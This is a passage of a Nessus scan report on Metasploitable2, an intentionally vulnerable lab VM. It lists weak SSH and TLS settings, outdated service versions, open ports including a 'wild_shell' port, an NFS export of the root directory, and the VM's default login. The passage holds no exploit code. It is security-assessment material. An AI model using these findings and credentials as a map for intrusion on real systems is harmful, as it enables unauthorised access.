The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

Solution

Purchase or generate a proper SSL certificate for this service.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

Plugin Information

Published: 2012/01/17, Modified: 2022/06/14

Plugin Output

tcp/5432/postgresql

```
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

70658 - SSH Server CBC Mode Ciphers Enabled

Synopsis

The SSH server is configured to use Cipher Block Chaining.

Description

The SSH server is configured to support Cipher Block Chaining (CBC) encryption. This may allow an attacker to recover the plaintext message from the ciphertext.

Note that this plugin only checks for the options of the SSH server and does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable CBC mode cipher encryption, and enable CTR or GCM cipher mode encryption.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

VPR Score

3.6

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	32319
CVE	CVE-2008-5161
XREF	CERT:958563
XREF	CWE:200

Plugin Information

Published: 2013/10/28, Modified: 2023/10/27

Plugin Output

tcp/22/ssh

```
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported :

  3des-cbc
  aes128-cbc
  aes192-cbc
  aes256-cbc
  blowfish-cbc
  cast128-cbc
  rijndael-cbc@lysator.liu.se

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported :

  3des-cbc
  aes128-cbc
  aes192-cbc
  aes256-cbc
  blowfish-cbc
  cast128-cbc
  rijndael-cbc@lysator.liu.se
```

153953 - SSH Weak Key Exchange Algorithms Enabled

Synopsis

The remote SSH server is configured to allow weak key exchange algorithms.

Description

The remote SSH server is configured to allow key exchange algorithms which are considered weak.

This is based on the IETF draft document Key Exchange (KEX) Method Updates and Recommendations for Secure Shell (SSH) RFC9142. Section 4 lists guidance on key exchange algorithms that SHOULD NOT and MUST NOT be enabled. This includes:

diffie-hellman-group-exchange-sha1

diffie-hellman-group1-sha1

gss-gex-sha1-*

gss-group1-sha1-*

gss-group14-sha1-*

rsa1024-sha1

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

See Also

https://datatracker.ietf.org/doc/html/rfc9142

Solution

Contact the vendor or consult product documentation to disable the weak algorithms.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2021/10/13, Modified: 2024/03/22

Plugin Output

tcp/22/ssh

```
The following weak key exchange algorithms are enabled :

  diffie-hellman-group-exchange-sha1
  diffie-hellman-group1-sha1
```

71049 - SSH Weak MAC Algorithms Enabled

Synopsis

The remote SSH server is configured to allow MD5 and 96-bit MAC algorithms.

Description

The remote SSH server is configured to allow either MD5 or 96-bit MAC algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable MD5 and 96-bit MAC algorithms.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2013/11/22, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

```
The following client-to-server Message Authentication Code (MAC) algorithms
are supported :

  hmac-md5
  hmac-md5-96
  hmac-sha1-96

The following server-to-client Message Authentication Code (MAC) algorithms
are supported :

  hmac-md5
  hmac-md5-96
  hmac-sha1-96
```

10407 - X Server Detection

Synopsis

An X11 server is listening on the remote host

Description

The remote host is running an X11 server. X11 is a client-server protocol that can be used to display graphical applications running on a given host on a remote client.

Since the X11 traffic is not ciphered, it is possible for an attacker to eavesdrop on the connection.

Solution

Restrict access to this port. If the X11 client/server facility is not used, disable TCP support in X11 entirely (-nolisten tcp).

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2000/05/12, Modified: 2019/03/05

Plugin Output

tcp/6000/x11

```
X11 Version : 11.0
```

21186 - AJP Connector Detection

Synopsis

There is an AJP connector listening on the remote host.

Description

The remote host is running an AJP (Apache JServ Protocol) connector, a service by which a standalone web server such as Apache communicates over TCP with a Java servlet container such as Tomcat.

See Also

http://tomcat.apache.org/connectors-doc/

http://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/04/05, Modified: 2019/11/22

Plugin Output

tcp/8009/ajp13

```
The connector listing on this port supports the ajp13 protocol.
```

18261 - Apache Banner Linux Distribution Disclosure

Synopsis

The name of the Linux distribution running on the remote host was found in the banner of the web server.

Description

Nessus was able to extract the banner of the Apache web server and determine which Linux distribution the remote host is running.

Solution

If you do not wish to display this information, edit 'httpd.conf' and set the directive 'ServerTokens Prod' and restart Apache.

Risk Factor

None

Plugin Information

Published: 2005/05/15, Modified: 2022/03/21

Plugin Output

tcp/0

```
The Linux distribution detected was :
 - Ubuntu 8.04 (gutsy)
```

48204 - Apache HTTP Server Version

Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

See Also

https://httpd.apache.org/

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0030
XREF	IAVT:0001-T-0530

Plugin Information

Published: 2010/07/30, Modified: 2023/08/17

Plugin Output

tcp/80/www

```
URL        : http://192.168.50.101/
Version    : 2.2.99
Source     : Server: Apache/2.2.8 (Ubuntu) DAV/2
backported : 1
modules    : DAV/2
os         : ConvertedUbuntu
```

84574 - Backported Security Patch Detection (PHP)

Synopsis

Security patches have been backported.

Description

Security patches may have been 'backported' to the remote PHP install without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/07/07, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Give Nessus credentials to perform local checks.
```

10028 - DNS Server BIND version Directive Remote Version Detection

Synopsis

It is possible to obtain the version number of the remote DNS server.

Description

The remote host is running BIND or another DNS server that reports its version number when it receives a special request for the text 'version.bind' in the domain 'chaos'.

This version is not necessarily accurate and could even be forged, as some DNS servers send the information based on a configuration file.

Solution

It is possible to hide the version number of BIND by using the 'version' directive in the 'options' section in named.conf.

Risk Factor

None

References

XREF	IAVT:0001-T-0583

Plugin Information

Published: 1999/10/12, Modified: 2022/10/12

Plugin Output

udp/53/dns

```
Version : 9.4.2
```

11002 - DNS Server Detection

Synopsis

A DNS server is listening on the remote host.

Description

The remote service is a Domain Name System (DNS) server, which provides a mapping between hostnames and IP addresses.

See Also

https://en.wikipedia.org/wiki/Domain_Name_System

Solution

Disable this service if it is not needed or restrict access to internal hosts only if the service is available externally.

Risk Factor

None

Plugin Information

Published: 2003/02/13, Modified: 2017/05/16

Plugin Output

tcp/53/dns

11002 - DNS Server Detection

Synopsis

A DNS server is listening on the remote host.

Description

The remote service is a Domain Name System (DNS) server, which provides a mapping between hostnames and IP addresses.

See Also

https://en.wikipedia.org/wiki/Domain_Name_System

Solution

Disable this service if it is not needed or restrict access to internal hosts only if the service is available externally.

Risk Factor

None

Plugin Information

Published: 2003/02/13, Modified: 2017/05/16

Plugin Output

udp/53/dns

35371 - DNS Server hostname.bind Map Hostname Disclosure

Synopsis

The DNS server discloses the remote host name.

Description

It is possible to learn the remote host name by querying the remote DNS server for 'hostname.bind' in the CHAOS domain.

Solution

It may be possible to disable this feature. Consult the vendor's documentation for more information.

Risk Factor

None

Plugin Information

Published: 2009/01/15, Modified: 2011/09/14

Plugin Output

udp/53/dns

```
The remote host name is :

metasploitable
```

54615 - Device Type

Synopsis

It is possible to guess the remote device type.

Description

Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/05/23, Modified: 2022/09/09

Plugin Output

tcp/0

```
Remote device type : general-purpose
Confidence level : 95
```

35716 - Ethernet Card Manufacturer Detection

Synopsis

The manufacturer can be identified from the Ethernet OUI.

Description

Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are registered by IEEE.

See Also

https://standards.ieee.org/faqs/regauth.html

http://www.nessus.org/u?794673b4

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/02/19, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following card manufacturers were identified :

08:00:27:BB:B0:9F : PCS Systemtechnik GmbH
```

86420 - Ethernet MAC Addresses

Synopsis

This plugin gathers MAC addresses from various sources and consolidates them into a list.

Description

This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/10/16, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following is a consolidated list of detected MAC addresses:
  - 08:00:27:BB:B0:9F
```

10092 - FTP Server Detection

Synopsis

An FTP server is listening on a remote port.

Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0030
XREF	IAVT:0001-T-0943

Plugin Information

Published: 1999/10/12, Modified: 2023/08/17

Plugin Output

tcp/21/ftp

```
The remote FTP banner is :

220 (vsFTPd 2.3.4)
```

10092 - FTP Server Detection

Synopsis

An FTP server is listening on a remote port.

Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0030
XREF	IAVT:0001-T-0943

Plugin Information

Published: 1999/10/12, Modified: 2023/08/17

Plugin Output

tcp/2121/ftp

```
The remote FTP banner is :

220 ProFTPD 1.3.1 Server (Debian) [::ffff:192.168.50.101]
```

10107 - HTTP Server Type and Version

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/80/www

```
The remote web server type is :

Apache/2.2.8 (Ubuntu) DAV/2
```

24260 - HyperText Transfer Protocol (HTTP) Information

Synopsis

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

Plugin Output

tcp/80/www

```
Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Date: Wed, 27 Mar 2024 16:30:41 GMT
  Server: Apache/2.2.8 (Ubuntu) DAV/2
  X-Powered-By: PHP/5.2.4-2ubuntu5.10
  Content-Length: 891
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Content-Type: text/html

Response Body :

<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>

                _                  _       _ _          _     _       ____
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
```

```
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                             |_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>
```

10114 - ICMP Timestamp Request Remote Date Disclosure

Synopsis

It is possible to determine the exact time set on the remote host.

Description

The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.

Solution

Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).

Risk Factor

None

CVSS v3.0 Base Score

0.0 (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

CVSS v2.0 Base Score

0.0 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:N)

References

CVE	CVE-1999-0524
XREF	CWE:200

Plugin Information

Published: 1999/08/01, Modified: 2023/04/27

Plugin Output

icmp/0

```
The difference between the local and remote clocks is 4033 seconds.
```

11156 - IRC Daemon Version Detection

Synopsis

The remote host is an IRC server.

Description

This plugin determines the version of the IRC daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/19, Modified: 2016/01/08

Plugin Output

tcp/6667/irc

```
The IRC server version is : Unreal3.2.8.1. FhiXOoE [*=2309]
```

10397 - Microsoft Windows SMB LanMan Pipe Server Listing Disclosure

Synopsis

It is possible to obtain network information.

Description

It was possible to obtain the browse list of the remote Windows system by sending a request to the LANMAN pipe. The browse list is the list of the nearest Windows systems of the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2000/05/09, Modified: 2022/02/01

Plugin Output

tcp/445/cifs

```
Here is the browse list of the remote host :

METASPLOITABLE ( os : 0.0 )
```

10785 - Microsoft Windows SMB NativeLanManager Remote System Information Disclosure

Synopsis

It was possible to obtain information about the remote operating system.

Description

Nessus was able to obtain the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445. Note that this plugin requires SMB to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/10/17, Modified: 2021/09/20

Plugin Output

tcp/445/cifs

```
The remote Operating System is : Unix
The remote native LAN manager is : Samba 3.0.20-Debian
The remote SMB Domain Name is : METASPLOITABLE
```

11011 - Microsoft Windows SMB Service Detection

Synopsis

A file / print sharing service is listening on the remote host.

Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

Plugin Output

tcp/139/smb

```
An SMB server is running on this port.
```

11011 - Microsoft Windows SMB Service Detection

Synopsis

A file / print sharing service is listening on the remote host.

Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

Plugin Output

tcp/445/cifs

```
A CIFS server is running on this port.
```

100871 - Microsoft Windows SMB Versions Supported (remote check)

Synopsis

It was possible to obtain information about the version of SMB running on the remote host.

Description

Nessus was able to obtain the version of SMB running on the remote host by sending an authentication request to port 139 or 445.

Note that this plugin is a remote check and does not work on agents.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/06/19, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The remote host supports the following versions of SMB :
  SMBv1
```

106716 - Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)

Synopsis

It was possible to obtain information about the dialects of SMB2 and SMB3 available on the remote host.

Description

Nessus was able to obtain the set of SMB2 and SMB3 dialects running on the remote host by sending an authentication request to port 139 or 445.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/02/09, Modified: 2020/03/11

Plugin Output

tcp/445/cifs

```
The remote host does NOT support the following SMB dialects :
_version_  _introduced in windows version_
2.0.2      Windows 2008
2.1        Windows 7
2.2.2      Windows 8 Beta
2.2.4      Windows 8 Beta
3.0        Windows 8
3.0.2      Windows 8.1
3.1        Windows 10
3.1.1      Windows 10
```

10437 - NFS Share Export List

Synopsis

The remote NFS server exports a list of shares.

Description

This plugin retrieves the list of NFS exported shares.

See Also

http://www.tldp.org/HOWTO/NFS-HOWTO/security.html

Solution

Ensure each share is intended to be exported.

Risk Factor

None

Plugin Information

Published: 2000/06/07, Modified: 2019/10/04

Plugin Output

tcp/2049/rpc-nfs

```
Here is the export list of 192.168.50.101 :
  / *
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/21/ftp

```
Port 21/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/22/ssh

```
Port 22/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/23

```
Port 23/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/25/smtp

```
Port 25/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/53/dns

```
Port 53/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/80/www

```
Port 80/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/111/rpc-portmapper

```
Port 111/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/139/smb

```
Port 139/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/445/cifs

```
Port 445/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/512

```
Port 512/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/513

```
Port 513/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/514

```
Port 514/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/1099/rmi_registry

```
Port 1099/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/1524/wild_shell

```
Port 1524/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/2049/rpc-nfs

```
Port 2049/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/2121/ftp

```
Port 2121/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/3306/mysql

```
Port 3306/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/3632

```
Port 3632/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/5432/postgresql

```
Port 5432/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/5900/vnc

```
Port 5900/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/6000/x11

```
Port 6000/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/6667/irc

```
Port 6667/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/8009/ajp13

```
Port 8009/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/8180

```
Port 8180/tcp was found to be open
```

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/8787

```
Port 8787/tcp was found to be open
```

11936 - OS Identification

Synopsis

It is possible to guess the remote operating system.

Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2003/12/09, Modified: 2023/11/08

Plugin Output

tcp/0

```
Remote operating system : Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)
Confidence level : 95
Method : HTTP

Not all fingerprints could give a match. If you think some or all of
